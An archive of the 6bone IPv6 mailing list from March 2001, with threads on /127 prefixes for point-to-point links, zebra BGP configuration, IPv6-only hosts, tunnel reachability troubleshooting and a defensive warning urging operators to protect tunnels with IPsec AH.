and his - I'm not sending packets out at all if the address is mine
(unless I like to implement that as a connectivity test and loop
them through the peer) - in the other case, the address is his, and
sending it to him (the peer) is clearly correct, whatever reasoning
gets you to send it that way.

Given that people want to be able to configure things this way
(it suits their sense of aesthetics) and that it should do no
real harm, I'd probably allow it - and then just treat it internally
as if the prefixlen were 128 (but keep the /127 to return when
requested so people don't get confused).

I might even want to allow /126 for the same kind of reason, though
that starts to get messier.   Nothing shorter makes sense though.

kre

From 6bone-owner  Wed Mar  7 16:06:46 2001
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From: Carla Quiblat <carlaq@asti.dost.gov.ph>
To: <6bone@ISI.EDU>
Subject: How to configure host to ipv6 only
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Hi all.

How is it possible to configure a host with FreeBSD 3.5 to be
ipv6-only host? Or it's not? Please point me to a site where this is
addressed.... If this is a stupid question, sorry.... :)
Tia...

Carla


From 6bone-owner  Wed Mar  7 16:06:53 2001
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From: info@caladan.net
To: 6bone@ISI.EDU
Date: Wed, 7 Mar 2001 08:28:15 -0000
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Subject: Re: gated and Linux
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Let me expand on that a little... 

Is anyone using Linux as a border router for ipv6 on the 6bone, with 
BGP4+ ?

If so, what routing daemon are you using, e.g. gated, mtrd, zebra, 
etc and do you have any sample config files. 

Thanks,
Chris


On 6 Mar 01, at 22:37, info@caladan.net wrote:

> Does anyone have any sample config files for gated on Linux ? 
> 
> Thanks,
> Chris
> 
> 


From 6bone-owner  Wed Mar  7 16:07:08 2001
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From: Antonio Querubin <tony@lava.net>
To: <info@caladan.net>
cc: <6bone@ISI.EDU>
Subject: Re: gated and Linux
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On Wed, 7 Mar 2001 info@caladan.net wrote:

> Is anyone using Linux as a border router for ipv6 on the 6bone, with
> BGP4+ ?
>
> If so, what routing daemon are you using, e.g. gated, mtrd, zebra,
> etc and do you have any sample config files.

We use zebra bgpd.  Here's part of our bgpd.conf file:

! specify your own ASN here
router bgp 6435
! add network statements for any address space allocated to you
 ipv6 bgp network 3ffe:8160::/28 nlri unicast multicast
! do any aggregation of your downstreams
 ipv6 bgp aggregate-address 3ffe:8160::/28 summary-only
! for each peer add a neighbor statement
 ipv6 bgp neighbor 3ffe:2900:d:a::1 remote-as 6175 nlri unicast multicast
! soft-reconfig is usually a good idea
 ipv6 bgp neighbor 3ffe:2900:d:a::1 soft-reconfiguration inbound
! add any AS path or route filters as necessary depending on your peering
! agreements ...




From 6bone-owner  Wed Mar  7 16:07:21 2001
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Subject: Re: How to configure host to ipv6 only
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Just leaving out the ipv4 configuration isn't enough for you? (Remember to
set an IPv6 dns server in /etc/resolv.conf and be ready for seeing very
little of the internet unless you want to play with faithd)

I've an IPv6 only FBSD 4.2 that i've installed from the net using the
6bone.

On Wed, Mar 07, 2001 at 03:40:26PM +0800, Carla Quiblat wrote:
> 
> Hi all.
> 
> How is it possible to configure a host with FreeBSD 3.5 to be
> ipv6-only host? Or it's not? Please point me to a site where this is
> addressed.... If this is a stupid question, sorry.... :)
> Tia...
> 
> Carla
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

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Subject: Re: OpenBSD IPv6 problem 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
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>>  | 	the problem we see in "A B 127" (or 64) is ambiguity.
>>Actually, in that one particular case (127), there should be none.  With
>>a shorter subnet mask there would be for sure (for anyone who doesn't
>>see this, imagine 3ffe:9000::8/125 - configured with
>>	3ffe:9000::9 -> 3ffe:9000::A
>>and then ask yourself what you do with a packet addressed to 3ffe:9000::B)
>	I'm not objecting to assign /127 to ppp link.  I'm just trying to
>	describe how you can configure KAME node to handle /127 prefix right.

	we implemented rather picky code against the above configuration
	due to NUD handling (we need to know who is "on link" for the p2p
	link when we initiate p2p).  sorry if my memory is wrong, jinmei
	should have better answers.

itojun

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To: Robert Elz <kre@munnari.OZ.AU>
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Subject: Re: OpenBSD IPv6 problem 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Wed, 07 Mar 2001 20:28:00 +0900
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>  | 	the problem we see in "A B 127" (or 64) is ambiguity.
>Actually, in that one particular case (127), there should be none.  With
>a shorter subnet mask there would be for sure (for anyone who doesn't
>see this, imagine 3ffe:9000::8/125 - configured with
>	3ffe:9000::9 -> 3ffe:9000::A
>and then ask yourself what you do with a packet addressed to 3ffe:9000::B)

	I'm not objecting to assign /127 to ppp link.  I'm just trying to
	describe how you can configure KAME node to handle /127 prefix right.

itojun

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From: Robert Elz <kre@munnari.OZ.AU>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Wed, 07 Mar 2001 20:28:00 +0900."
             <20010307112800.87D507E0E@starfruit.itojun.org> 
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    Date:        Wed, 07 Mar 2001 20:28:00 +0900
    From:        Jun-ichiro itojun Hagino <itojun@iijlab.net>
    Message-ID:  <20010307112800.87D507E0E@starfruit.itojun.org>

  | 	I'm not objecting to assign /127 to ppp link.  I'm just trying to
  | 	describe how you can configure KAME node to handle /127 prefix right.

Sure.

I was just suggesting that you might change the KAME config rules
slightly so they allow a (likely fairly common) usage - most likely
by simply converting it internally into the more rational setup.

I can't see any particular reason for not doing that, and you are likely
to avoid lots of "how do I do...?" or "why can't I ...?" type
questions in the future.

kre

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Date: 	Wed, 7 Mar 2001 14:19:36 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: info@caladan.net
Cc: 6bone@ISI.EDU
Subject: Re: gated and Linux
Message-ID: <20010307141936.L23110@burza.icm.edu.pl>
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On Wed, Mar 07, 2001 at 08:28:15AM -0000, info@caladan.net wrote:
> Let me expand on that a little... 
> Is anyone using Linux as a border router for ipv6 on the 6bone, with 
> BGP4+ ?
> If so, what routing daemon are you using, e.g. gated, mtrd, zebra, 
> etc and do you have any sample config files. 

Fairly big router on Zebra:
ftp://ftp.6bone.pl/pub/ipv6/conf/

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

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From 6bone-owner  Wed Mar  7 16:57:16 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Todd T. Fries" <todd@fries.net>
cc: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>,
        horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: DHCP 
In-reply-to: Your message of Wed, 07 Mar 2001 08:34:19 CST.
             <20010307083419.A4157@eclipse.fries.net> 
Date: Wed, 07 Mar 2001 16:08:59 +0100
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 In your previous mail you wrote:

   Penned by Francis Dupont on Tue, Mar 06, 2001 at 09:20:59PM +0100, we have:
   | => if you need a DHCPv4 then you can get the ISC one or the WIDE one...
   | If you need a DHCPv6 then there is nothing (yet) for the last specs.
   
   I sincerely hope dhcpv6 does not find its way to the specs. rtsol works,
   and has none of the security problems associated with dhcp.
   
=> I *disagree*. We really need stateless/managed autoconfiguration and
rtsol has untractable security problems (*)... DHCPv6 has to work ASAP!

Francis.Dupont@enst-bretagne.fr

PS *: Dan McDonald tried and failed so the problem is at least very hard
with one exception: point-to-point links (PPP can easily setup a nice
security environment for you for instance).
PPS: if you need more arguments, just look at draft-perkins-aaav6-02.txt
(or the 03 I-D if it is out).

From 6bone-owner  Wed Mar  7 17:12:27 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Robert Elz <kre@munnari.OZ.AU>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
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Greetings,


On Wed, 7 Mar 2001, Robert Elz wrote:
>   | 	the problem we see in "A B 127" (or 64) is ambiguity.
> Actually, in that one particular case (127), there should be none.  With
> a shorter subnet mask there would be for sure (for anyone who doesn't
> see this, imagine 3ffe:9000::8/125 - configured with
> 	3ffe:9000::9 -> 3ffe:9000::A
> and then ask yourself what you do with a packet addressed to 3ffe:9000::B)
> But where the mask is 127, there are only two possible addresses, mine
> and his - I'm not sending packets out at all if the address is mine
> (unless I like to implement that as a connectivity test and loop
> them through the peer) - in the other case, the address is his, and
> sending it to him (the peer) is clearly correct, whatever reasoning
> gets you to send it that way.

> Given that people want to be able to configure things this way
> (it suits their sense of aesthetics) and that it should do no
> real harm, I'd probably allow it - and then just treat it internally
> as if the prefixlen were 128 (but keep the /127 to return when
> requested so people don't get confused).
Well, it's that way we used to work for IPv4. For reasons of management,
we alway use 'numbered' interfaces.
For that, we have a a number of 'class C's, we divide into 64 '/30'
subnets, and each link is assign one of these pairs. Router loopbacks get
a '/32'.

So, as I considered the prefixlen the IPv6 equivalent of the IPv4
'netmasks' (I hope I am correct about this), this translates into a single
'network' (3ffe:80b0:1001:ff::/64) I can divide into a -very very large-
number of /127 subnets I assign to the interfaces (in this case, a
'gif-interface').

Somebody any idea if this should be done differently in IPv6?


OK. There are some other options:
- Use the 'link-private' IP-address.
- Set up an IP-address on the loopback; and set up static routes for these
'lookbacks' on the routers.
(Or actually run OSPF or RIP between the routers).
(Hmm. Sounds like a good idea!).

Any more ideas or comments?

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122



From 6bone-owner  Wed Mar  7 17:22:30 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
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Greeting,

On Wed, 7 Mar 2001 itojun@iijlab.net wrote:
> the above error is generated because of this configuration.
> please use either of the following:
> ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 3ffe:80b0:1001:ff::2 prefixlen 128 alias
> ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 prefixlen 64 alias
> if you specify both of the addresses, use prefixlen = 128; otherwise,
> use prefixlen = 64 (or 127 if you really want to).
> latest KAME code checks the condition on ioctl time.
Euh.
May sound like a stupid question, but isn't the 'prefixlen' the IPv6
equivalent for the IPv4 netmask, or am I missing something?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122

From 6bone-owner  Wed Mar  7 20:39:20 2001
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From: george+6bone@m5p.com
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I'm getting sporadic log entries informing me that I'm receiving ICMP6
checksum errors from 3ffe:3200:0001:0006::0001.  I used whois to get the
name of a responsible person and I sent him email, but there has been no
response.  Is this happening to anyone else?  It's hard to believe that
there's anything nefarious going on, but I'm curious, at the least,
whose kernel (or application using raw sockets, I guess) is sending out
these malformed packets.                             -- George Mitchell


From 6bone-owner  Thu Mar  8 02:16:51 2001
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cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone stats and tools webpage links cleanup
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On Wed, 27 Dec 2000, Bob Fink wrote:

> 6bone folk,
> 
> I have checked and removed the unresponsive/obsolete links on the 6bone 
> stats and tools pages per Itojun's kind email below (thanks Itojun).
> 
> I'm always happy and willing to add working links to these (and other) 
> pages if you send them to me.

Perhaps you'd like to get rid of ``inner.net IPv6 Web Pages'' from
http://www.6bone.net/6bone_other-sites.html

Also, do you know why www.6bone.net not reachable on the 6BONE?
# ping www.6bone.net
no answer from www.6bone.net
#
(from Cambridge UK, cass18.ast.ipv6.cam.ac.uk)

I can ping New York from here:
# ping auth01.stealth.net
auth01.stealth.net is alive
#
# traceroute auth01.stealth.net 
traceroute to auth01.stealth.net (3ffe:80c0:200:2::6), 30 hops max, 60
byte packets
 1  cadsa (3ffe:2101:8:0:280:d8ff:fe10:51f3)  1.064 ms  0.835 ms  0.828 ms
 2  3ffe:2100:1:15::c13f:5e06  19.027 ms *  23.628 ms
 3  3ffe:2100:1:9:c01f:768:ffff:ffe0  454.272 ms *  215.465 ms
 4  3ffe:80c0:200:2::1  250.506 ms  267.251 ms  406.122 ms
 5  * 3ffe:80c0:200:2::6  274.707 ms *
#

Cheers,	
	Pete. 


From 6bone-owner  Thu Mar  8 04:29:51 2001
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From: "Haisang Wu" <hswu@ns.6test.edu.cn>
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Dear George:
  I am afraid this is sent out from CERNET IPv6 Testbed in China, 
but  without any wicked intention. We have built tunnels with ETRI in 
Korea and now we are running BGP4+ between CERNETand ETRI
with Zebra, and the errors are spread out from the tunnel end point 
of ours.
  Sorry for the problems. I think this is the kernel defection, but could 
anyone give us some advice on how to deal with this? Just modifying
 the bgpd.conf or we have to rebuild the kernel? Thanks.
  Best
Haisang
  

  ______________________________________________
    Haisang Wu 
    CERNET IPv6 Testbed Operation Team
    Central Mainbuilding    Room 307 
    Tsinghua University     Beijing   P.R.China 
    Postalcode: 100084     
    Phone: 62785814-525(O)  MP: 13011868154
    email: hswu@public.bjnet.edu.cn
  ______________________________________________ 	
    
   

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> george+6bone@m5p.com
> Sent: Wednesday, March 07, 2001 8:39 PM
> To: 6bone@ISI.EDU
> Subject: Receiving ICMP6 Checksum Errors
> 
> 
> I'm getting sporadic log entries informing me that I'm receiving ICMP6
> checksum errors from 3ffe:3200:0001:0006::0001.  I used whois to get the
> name of a responsible person and I sent him email, but there has been no
> response.  Is this happening to anyone else?  It's hard to believe that
> there's anything nefarious going on, but I'm curious, at the least,
> whose kernel (or application using raw sockets, I guess) is sending out
> these malformed packets.                             -- George Mitchell
> 

From 6bone-owner  Thu Mar  8 06:12:06 2001
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From: "brougham Baker" <broipv6@tqsolutions.demon.co.uk>
To: "Peter Bunclark" <psb@ast.cam.ac.uk>
Cc: "6BONE List" <6bone@ISI.EDU>
References: <Pine.GSO.4.10.10103081010450.21739-100000@cass18>
Subject: Re: 6bone stats and tools webpage links cleanup
Date: Thu, 8 Mar 2001 14:11:50 -0000
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From: "Peter Bunclark" <psb@ast.cam.ac.uk>

> Also, do you know why www.6bone.net not reachable on the 6BONE?
> # ping www.6bone.net
> no answer from www.6bone.net
> #
> (from Cambridge UK, cass18.ast.ipv6.cam.ac.uk)
>
<snip successful traceroute auth01.stealth.net>

It certainly was working, a quick traceroute to www.6bone.net is my way of
making sure that my stack is up and my tunnel is working. I ran a traceroute
there this morning within 30 minutes of you and it was working. This was via
the BT tunnel (thanks Steve).

Is it normal to CC: everyone all the time- it just seems rude to me, or am I
missing something?

Brougham



From 6bone-owner  Thu Mar  8 06:34:04 2001
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From: Peter Bunclark <psb@ast.cam.ac.uk>
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To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone stats and tools webpage links cleanup
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On Thu, 8 Mar 2001, brougham Baker wrote:

> From: "Peter Bunclark" <psb@ast.cam.ac.uk>
> 
> > Also, do you know why www.6bone.net not reachable on the 6BONE?
...
> 
> It certainly was working, a quick traceroute to www.6bone.net is my way of
> making sure that my stack is up and my tunnel is working. I ran a traceroute
> there this morning within 30 minutes of you and it was working. This was via
> the BT tunnel (thanks Steve).
> 
> Is it normal to CC: everyone all the time- it just seems rude to me, or am I
> missing something?
Perhaps I've missed your point, but your response to my problem could be
quite useful.  I can reach many external 6BONE sites,
6bone.ipv6.uni-muenster.de for example, but not all, certainly not
www.6bone.net. You say you can reach it, can you reach muenster? or even
me at (say) cass18.ast.ipv6.cam.ac.uk ? 
> 
> Brougham
> 
Cheers,
	Pete.


From 6bone-owner  Thu Mar  8 07:03:41 2001
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Date: Thu, 08 Mar 2001 16:03:25 +0100 (CET)
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From: JOIN Project Team <ipng@uni-muenster.de>
To: Peter Bunclark <psb@ast.cam.ac.uk>
Subject: Re: 6bone stats and tools webpage links cleanup
Cc: 6BONE List <6bone@ISI.EDU>
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On 08-Mar-2001 Peter Bunclark wrote:
> 
> 
> On Thu, 8 Mar 2001, brougham Baker wrote:
> 
>> From: "Peter Bunclark" <psb@ast.cam.ac.uk>
>> 
>> > Also, do you know why www.6bone.net not reachable on the 6BONE?
> ...
>> 
>> It certainly was working, a quick traceroute to www.6bone.net is my way of
>> making sure that my stack is up and my tunnel is working. I ran a
>> traceroute
>> there this morning within 30 minutes of you and it was working. This was
>> via
>> the BT tunnel (thanks Steve).
>> 
>> Is it normal to CC: everyone all the time- it just seems rude to me, or am
>> I
>> missing something?
> Perhaps I've missed your point, but your response to my problem could be
> quite useful.  I can reach many external 6BONE sites,
> 6bone.ipv6.uni-muenster.de for example, but not all, certainly not
> www.6bone.net. You say you can reach it, can you reach muenster? or even
> me at (say) cass18.ast.ipv6.cam.ac.uk ? 

Hi Peter,

Sitting in Muenster I can reach both, www.6bone.net and 
cass18.ast.ipv6.cam.ac.uk, so your packets vanish on another 
route. Nevertheless the connection to your site is very poor, I 
get about 50% packet loss. The route to 6bone.net is much better. 

Christian

PS: You can check this yourself on JOINs 'looking glass'
    http://www.join.uni-muenster.de/lab/testtools-e.html . Maybe it 
    helps you to find the black hole.

 

From 6bone-owner  Thu Mar  8 08:01:33 2001
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From: stuart.prevost@bt.com
To: 6bone@ISI.EDU
Subject: RE: 6bone stats and tools webpage links cleanup
Date: Thu, 8 Mar 2001 15:50:52 -0000 
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>From BT I can reach the www.6bone.net with no problems.  However Pete your
site is very hard to reach.  

2 in 5 packets getting through and traceroute goes off via the netherlands!!

Stuart

> -----Original Message-----
> From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
> Sent: Thursday, March 08, 2001 2:34 PM
> To: 6BONE List
> Subject: Re: 6bone stats and tools webpage links cleanup
> 
> 
> 
> 
> On Thu, 8 Mar 2001, brougham Baker wrote:
> 
> > From: "Peter Bunclark" <psb@ast.cam.ac.uk>
> > 
> > > Also, do you know why www.6bone.net not reachable on the 6BONE?
> ...
> > 
> > It certainly was working, a quick traceroute to 
www.6bone.net is my way of
> making sure that my stack is up and my tunnel is working. I ran a
traceroute
> there this morning within 30 minutes of you and it was working. This was
via
> the BT tunnel (thanks Steve).
> 
> Is it normal to CC: everyone all the time- it just seems rude to me, or am
I
> missing something?
Perhaps I've missed your point, but your response to my problem could be
quite useful.  I can reach many external 6BONE sites,
6bone.ipv6.uni-muenster.de for example, but not all, certainly not
www.6bone.net. You say you can reach it, can you reach muenster? or even
me at (say) cass18.ast.ipv6.cam.ac.uk ? 
> 
> Brougham
> 
Cheers,
	Pete.

From 6bone-owner  Thu Mar  8 08:42:40 2001
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Message-ID: <002001c0a7ee$c278b700$160c10ac@zama.net>
Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: "6BONE List" <6bone@ISI.EDU>
References: <Pine.GSO.4.10.10103081010450.21739-100000@cass18> <15e201c0a7d9$b929a570$0a00a8c0@wintermute>
Subject: Re: 6bone stats and tools webpage links cleanup
Date: Thu, 8 Mar 2001 08:42:27 -0800
Organization: Zama Networks, Inc.
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We have a couple of network utilities on our website that you can use to
test your sites as well as others.  Go to www.zamanetworks.com and go to the
network utilities link.  You will be able to test your link from our v6
connection as well as your DNS records.

Todd Whipple
Zama Networks, Inc.

----- Original Message -----
From: "brougham Baker" <broipv6@tqsolutions.demon.co.uk>
To: "Peter Bunclark" <psb@ast.cam.ac.uk>
Cc: "6BONE List" <6bone@ISI.EDU>
Sent: Thursday, March 08, 2001 6:11 AM
Subject: Re: 6bone stats and tools webpage links cleanup


> From: "Peter Bunclark" <psb@ast.cam.ac.uk>
>
> > Also, do you know why www.6bone.net not reachable on the 6BONE?
> > # ping www.6bone.net
> > no answer from www.6bone.net
> > #
> > (from Cambridge UK, cass18.ast.ipv6.cam.ac.uk)
> >
> <snip successful traceroute auth01.stealth.net>
>
> It certainly was working, a quick traceroute to www.6bone.net is my way of
> making sure that my stack is up and my tunnel is working. I ran a
traceroute
> there this morning within 30 minutes of you and it was working. This was
via
> the BT tunnel (thanks Steve).
>
> Is it normal to CC: everyone all the time- it just seems rude to me, or am
I
> missing something?
>
> Brougham
>
>
>


From 6bone-owner  Thu Mar  8 11:19:35 2001
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Date: Thu, 08 Mar 2001 11:20:01 -0800
From: Warren Matthews <warrenm@SLAC.Stanford.EDU>
Subject: Re: 6bone stats and tools webpage links cleanup
To: 6bone@ISI.EDU
Message-id: <007801c0a804$c5d8f700$8cd881c6@test98900>
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Looking at our webpage of historical ping6 data

  ( http://www-iepm.slac.stanford.edu/cgi-wrap/pingtable.pl?dataset=ipv6 )

I see the packet loss between SLAC and Cambridge deteriorated from a few
percent to up to 30% on Tuesday March 6, and there have been round trip
times up to 500ms whereas in February the average was around 210ms.

I also note no other end-node exhibits a similar pattern (although my sample
is very small), but a previous problem between SLAC and CRC was resolved
around that time. Someone in Europe (I don't recall who) was advertising
CRCs AS back to ESnet (SLACs provider). Probably a co-incidence.

----- Original Message -----
From: <stuart.prevost@bt.com>
To: <6bone@ISI.EDU>
Sent: Thursday, March 08, 2001 7:50 AM
Subject: RE: 6bone stats and tools webpage links cleanup


> From BT I can reach the www.6bone.net with no problems.  However Pete your
> site is very hard to reach.
>
> 2 in 5 packets getting through and traceroute goes off via the
netherlands!!
>
> Stuart
>
> > -----Original Message-----
> > From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
> > Sent: Thursday, March 08, 2001 2:34 PM
> > To: 6BONE List
> > Subject: Re: 6bone stats and tools webpage links cleanup
> >
> >
> >
> >
> > On Thu, 8 Mar 2001, brougham Baker wrote:
> >
> > > From: "Peter Bunclark" <psb@ast.cam.ac.uk>
> > >
> > > > Also, do you know why www.6bone.net not reachable on the 6BONE?
> > ...
> > >
> > > It certainly was working, a quick traceroute to
> www.6bone.net is my way of
> > making sure that my stack is up and my tunnel is working. I ran a
> traceroute
> > there this morning within 30 minutes of you and it was working. This was
> via
> > the BT tunnel (thanks Steve).
> >
> > Is it normal to CC: everyone all the time- it just seems rude to me, or
am
> I
> > missing something?
> Perhaps I've missed your point, but your response to my problem could be
> quite useful.  I can reach many external 6BONE sites,
> 6bone.ipv6.uni-muenster.de for example, but not all, certainly not
> www.6bone.net. You say you can reach it, can you reach muenster? or even
> me at (say) cass18.ast.ipv6.cam.ac.uk ?
> >
> > Brougham
> >
> Cheers,
> Pete.
>


From 6bone-owner  Thu Mar  8 16:03:34 2001
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Date: Thu, 8 Mar 2001 19:03:18 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Warren Matthews <warrenm@SLAC.Stanford.EDU>
cc: 6bone@ISI.EDU
Subject: Re: 6bone stats and tools webpage links cleanup
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On Thu, 8 Mar 2001, Warren Matthews wrote:

> I see the packet loss between SLAC and Cambridge deteriorated from a few
> percent to up to 30% on Tuesday March 6, and there have been round trip
> times up to 500ms whereas in February the average was around 210ms.
> 
> I also note no other end-node exhibits a similar pattern (although my sample
> is very small), but a previous problem between SLAC and CRC was resolved
> around that time. Someone in Europe (I don't recall who) was advertising
> CRCs AS back to ESnet (SLACs provider). Probably a co-incidence.

Hmmmm....that may have been Berkom, via their v6 upstream (can't recall
which that was).  We're still experiencing something odd with my route
(traceroute 2001:410:401:b::2 to find out) though, and I'm now trying to
track it down.

> 
> ----- Original Message -----
> From: <stuart.prevost@bt.com>
> To: <6bone@ISI.EDU>
> Sent: Thursday, March 08, 2001 7:50 AM
> Subject: RE: 6bone stats and tools webpage links cleanup
> 
> 
> > From BT I can reach the www.6bone.net with no problems.  However Pete your
> > site is very hard to reach.
> >
> > 2 in 5 packets getting through and traceroute goes off via the
> netherlands!!
> >
> > Stuart
> >
> > > -----Original Message-----
> > > From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
> > > Sent: Thursday, March 08, 2001 2:34 PM
> > > To: 6BONE List
> > > Subject: Re: 6bone stats and tools webpage links cleanup
> > >
> > >
> > >
> > >
> > > On Thu, 8 Mar 2001, brougham Baker wrote:
> > >
> > > > From: "Peter Bunclark" <psb@ast.cam.ac.uk>
> > > >
> > > > > Also, do you know why www.6bone.net not reachable on the 6BONE?
> > > ...
> > > >
> > > > It certainly was working, a quick traceroute to
> > www.6bone.net is my way of
> > > making sure that my stack is up and my tunnel is working. I ran a
> > traceroute
> > > there this morning within 30 minutes of you and it was working. This was
> > via
> > > the BT tunnel (thanks Steve).
> > >
> > > Is it normal to CC: everyone all the time- it just seems rude to me, or
> am
> > I
> > > missing something?
> > Perhaps I've missed your point, but your response to my problem could be
> > quite useful.  I can reach many external 6BONE sites,
> > 6bone.ipv6.uni-muenster.de for example, but not all, certainly not
> > www.6bone.net. You say you can reach it, can you reach muenster? or even
> > me at (say) cass18.ast.ipv6.cam.ac.uk ?
> > >
> > > Brougham
> > >
> > Cheers,
> > Pete.
> >
> 



wfms


From 6bone-owner  Thu Mar  8 23:50:58 2001
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To: 6bone@ISI.EDU
Subject: securing 6bone tunnels
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	as I have been worried, there's traffic injection tools (attack tool)
	for 6bone endpoints: http://www.pkcrew.org/tools.html.  bad guys
	can inject fabricated IPv6 traffic without even paticipating to 6bone,
	if he knows a pair of 6bone tunnel endpoint address, and it will be
	harder to track the bad guy down as tunnel decapsulation will lose
	information on the outer header fields.

	to avoid attacks, I would like to encourage 6bone tunnel operators
	to establish IPv4 transport-mode AH (or IPv6-over-IPv4 tunnel
	mode AH) relationship with your peer.  how to do this is implementation
	dependent.  for KAME-based platforms, you'd need to get the latest
	KAME tree from ftp://ftp.kame.net/pub/kame/snap/ (*BSD releases
	do not have enough policy checking code).

itojun

From 6bone-owner  Fri Mar  9 00:27:55 2001
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To: 6bone@ISI.EDU
Subject: Re: 6bone stats and tools webpage links cleanup
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On Thu, 8 Mar 2001, William F. Maton wrote:

> On Thu, 8 Mar 2001, Warren Matthews wrote:
> 
> > I see the packet loss between SLAC and Cambridge deteriorated from a few
> > percent to up to 30% on Tuesday March 6, and there have been round trip
> > times up to 500ms whereas in February the average was around 210ms.
> > 
> > I also note no other end-node exhibits a similar pattern (although my sample
> > is very small), but a previous problem between SLAC and CRC was resolved
> > around that time. Someone in Europe (I don't recall who) was advertising
> > CRCs AS back to ESnet (SLACs provider). Probably a co-incidence.
> 
> Hmmmm....that may have been Berkom, via their v6 upstream (can't recall
> which that was).  We're still experiencing something odd with my route
> (traceroute 2001:410:401:b::2 to find out) though, and I'm now trying to
> track it down.
> 

Thanks to everyone for the various replies regarding this problem.
This morning, magically, things seem more or less back to normal.  Has
someone out there fixed something in the last 14 hours? (Certainly wasn't
a local change!)
Cheers,
	Pete.

> traceroute www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10), 30 hops max, 60 byte packets
 1  cadsa (3ffe:2101:8:0:280:d8ff:fe10:51f3)  0.956 ms  0.709 ms  0.720 ms
 2  3ffe:2100:1:15::c13f:5e06  6.649 ms *  6.648 ms
 3  3ffe:1100:0:1c01::1  16.551 ms *  15.872 ms
 4  pao-6r1-if.6r1.doc.london.ip6.pipex.net (2001:600:4:4::1)  178.257 ms
*  177.598 ms
 5  3ffe:401:0:1::20:2  239.310 ms  240.985 ms  238.853 ms
 6  viagenie.ipv6.wilbury.sk (3ffe:80e1:8000::d)  367.617 ms  364.657 ms
375.976 ms
 7  www.6bone.net (3ffe:b00:c18:1::10)  380.232 ms  378.312 ms  376.369 ms



From 6bone-owner  Fri Mar  9 01:50:34 2001
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Date: Mon, 5 Mar 2001 19:50:19 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: LIST: Duplicates of Cc: messages
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Hello all,

Is there something _really_ wrong with the list?  If someone replies on
the list and Cc:'s me, I get a _lot_ of duplicate mails.  These seem to be
drifting at the rate of a couple a day.  Dozens of other lists I'm
subscribed to are fine.

For example:

Date: Wed, 28 Feb 2001 10:50:18 +0530 (IST)
From: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
[received _13_ copies so far!]

Date: Wed, 28 Feb 2001 02:33:06 -0300
From: horape@tinuviel.compendium.net.ar
To: Pekka Savola <pekkas@netcore.fi>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
[9!]

Date: Fri, 2 Mar 2001 21:03:37 +0700 (JAVT)
From: R.  Flidersan <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
Cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: IPv6 security
[6]

etc.

WTF is going on here?

_Don't_ Cc: me :-/

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Mar  9 01:50:35 2001
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Date: Fri, 2 Mar 2001 14:03:59 -0500
From: Pete Toscano <pete@research.netsol.com>
To: 6bone@ISI.EDU
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
>=20
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
>=20
> Thanks in advance.
>=20
> Flidersan
>=20
>=20

--=20
Pete Toscano         pete@research.netsol.com          703.948.3364
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From: Robert Elz <kre@munnari.OZ.AU>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Tue, 06 Mar 2001 16:10:16 +0100."
             <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net> 
